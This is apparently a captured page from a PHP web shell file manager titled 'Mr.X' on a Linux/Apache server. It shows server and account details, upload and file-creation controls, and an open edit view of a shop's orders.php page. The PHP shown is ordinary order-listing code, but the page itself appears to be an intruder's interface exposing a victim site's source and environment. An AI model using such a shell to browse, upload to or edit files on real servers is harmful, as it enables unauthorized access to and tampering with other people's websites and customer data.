🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:orders.php
<?php require_once __DIR__ . '/../includes/config.php'; require_once __DIR__ . '/../includes/db.php'; require_once __DIR__ . '/../includes/functions.php'; $page = 'orders'; $page_title = 'My Orders'; if (!is_logged_in()) { header('Location: ' . SITE_URL . 'pages/login.php'); exit; } $orders = get_user_orders($_SESSION['user_id'], 50); require_once '../includes/header.php'; require_once '../includes/navbar.php'; ?> <main> <section style="background: var(--light-marble); padding: 20px 0;"> <div class="container"> <nav aria-label="breadcrumb"> <ol class="breadcrumb mb-0"> <li class="breadcrumb-item"><a href="<?= SITE_URL ?>">Home</a></li> <li class="breadcrumb-item"><a href="<?= SITE_URL ?>pages/account.php">My Account</a></li> <li class="breadcrumb-item active">My Orders</li> </ol> </nav> </div> </section> <section class="orders-section" style="padding: 60px 0;"> <div class="container"> <h1 style="font-size: 2.5rem; margin-bottom: 40px;">My Orders</h1> <?php if (count($orders) > 0): ?> <div class="orders-list"> <?php foreach ($orders as $order): $status_colors = [ 'pending' => 'warning', 'processing' => 'info', 'shipped' => 'primary', 'delivered' => 'success', 'cancelled' => 'danger' ]; $color = $status_colors[$order['order_status']] ?? 'secondary'; ?> <div class="order-card" style="background: var(--white); border-radius: 16px; padding: 25px; box-shadow: var(--shadow-sm); margin-bottom: 20px;"> <div class="row align-items-center"> <div class="col-md-2 col-6"> <small class="text-muted d-block">Order #</small> <strong style="color: var(--primary-rose-gold);"><?= htmlspecialchars($order['order_number']) ?></strong> </div> <div class="col-md-2 col-6"> <small class="text-muted d-block">Date</small> <strong><?= date('M d, Y', strtotime($order['created_at'])) ?></strong> </div> <div class="col-md-2 col-6"> <small class="text-muted d-block">Total</small> <strong><?= format_currency($order['total']) ?></strong> </div> <div class="col-md-2 col-6"> <small class="text-muted d-block">Status</small> <span class="badge" style="background: var(--bs-<?= $color ?>); padding: 5px 12px; border-radius: 20px; font-size: 0.75rem; text-transform: uppercase; font-weight: 600; color: white;"> <?= ucfirst($order['order_status']) ?> </span> </div> <div class="col-md-2 col-6"> <small class="text-muted d-block">Payment</small> <strong style="text-transform: uppercase; font-size: 0.85rem;"><?= $order['payment_status'] ?></strong> </div> <div class="col-md-2 col-12 text-md-end mt-3 mt-md-0"> <a href="<?= SITE_URL ?>pages/order-details.php?id=<?= $order['id'] ?>" class="btn-luxury" style="padding: 8px 20px; font-size: 0.8rem;"> View Details </a> </div> </div> </div> <?php endforeach; ?> </div> <?php else: ?> <div class="text-center py-5" style="background: var(--white); border-radius: 16px; box-shadow: var(--shadow-sm);"> <i class="fas fa-box-open" style="font-size: 5rem; color: var(--soft-pink); margin-bottom: 20px;"></i> <h3>No orders yet</h3> <p class="text-muted mb-4">Start shopping and your orders will appear here</p> <a href="<?= SITE_URL ?>pages/shop.php" class="btn-luxury"> <i class="fas fa-shopping-bag"></i> Start Shopping </a> </div> <?php endif; ?> </div> </section> </main> <?php require_once '../includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder